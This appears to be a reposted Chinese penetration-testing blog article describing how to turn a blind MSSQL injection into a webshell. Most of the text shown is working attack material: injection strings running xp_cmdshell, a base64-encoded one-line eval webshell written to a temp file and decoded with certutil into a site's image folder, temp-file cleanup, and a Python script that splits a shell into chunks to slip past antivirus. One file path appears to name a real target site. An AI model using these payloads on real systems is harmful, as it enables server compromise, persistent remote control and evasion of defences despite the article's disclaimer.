MSSQL–无回显到getshell

admin 2026-06-12 04:43:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了MSSQL注入从无回显到getshell的完整攻击链,包括判断堆叠查询、SA权限和xp_cmdshell可用性等前置条件,通过DNS出网方式获取网站路径,利用Base64分段传输和免杀技术写入webshell。文章提供了具体操作命令和规避安全防护的方法,强调技术仅用于教育目的。 综合评分: 85 文章分类: 渗透测试,WEB安全,内网渗透,漏洞分析,安全工具


2.写入webshell

先写个aspx脚本尝试:

admin';EXEC xp_cmdshell 'echo&nbsp;^<^%@ Page Language="C#"&nbsp;^%^>^<^% Response.Write("hello world"); ^%^> >&nbsp;"D:\LocalHost\onlineshop\attendance.in\images\fayfag.aspx"';--

正常写入一句话:

写入临时Base64文件

admin'; exec master.dbo.xp_cmdshell 'echo&nbsp;PCVldmFsIHJlcXVlc3QoInBhc3MiKSU+ > C:\Windows\Temp\askfle.b64'--

解码到网站目录

admin'; exec master.dbo.xp_cmdshell 'certutil -decode&nbsp;C:\Windows\Temp\askfle.b64&nbsp;D:\xxx\images\fayfag.aspx'--

清理临时文件

admin;&nbsp;exec&nbsp;master.dbo.xp_cmdshell&nbsp;'del C:\Windows\Temp\askfle.b64'--

页面返回503 且疑似有杀软

利用AI 生成aspx的免杀shell

分段传输:

import&nbsp;base64
def&nbsp;split_base64(file_path, chunk_size=2000):&nbsp; &nbsp;&nbsp;with&nbsp;open(file_path,&nbsp;'rb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; b64 = base64.b64encode(f.read()).decode('ascii')&nbsp; &nbsp;&nbsp;# 分割&nbsp; &nbsp; chunks = [b64[i:i+chunk_size]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(b64), chunk_size)]&nbsp; &nbsp;&nbsp;return&nbsp;chunks
chunks = split_base64('shell.aspx',&nbsp;2000)for&nbsp;i, chunk&nbsp;in&nbsp;enumerate(chunks):&nbsp; &nbsp;&nbsp;print(f'-- chunk&nbsp;{i+1}&nbsp;/&nbsp;{len(chunks)}&nbsp;--')&nbsp; &nbsp;&nbsp;print(chunk)

使用 >> 追加,> 会覆盖。其他同上:

admin'; exec master.dbo.xp_cmdshell 'echo&nbsp;[块内容] >> C:\Windows\Temp\payload.b64' --

外部交流群


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌曦安全 凌曦安全 凌曦安全《MSSQL–无回显到getshell》

评论:0   参与:  0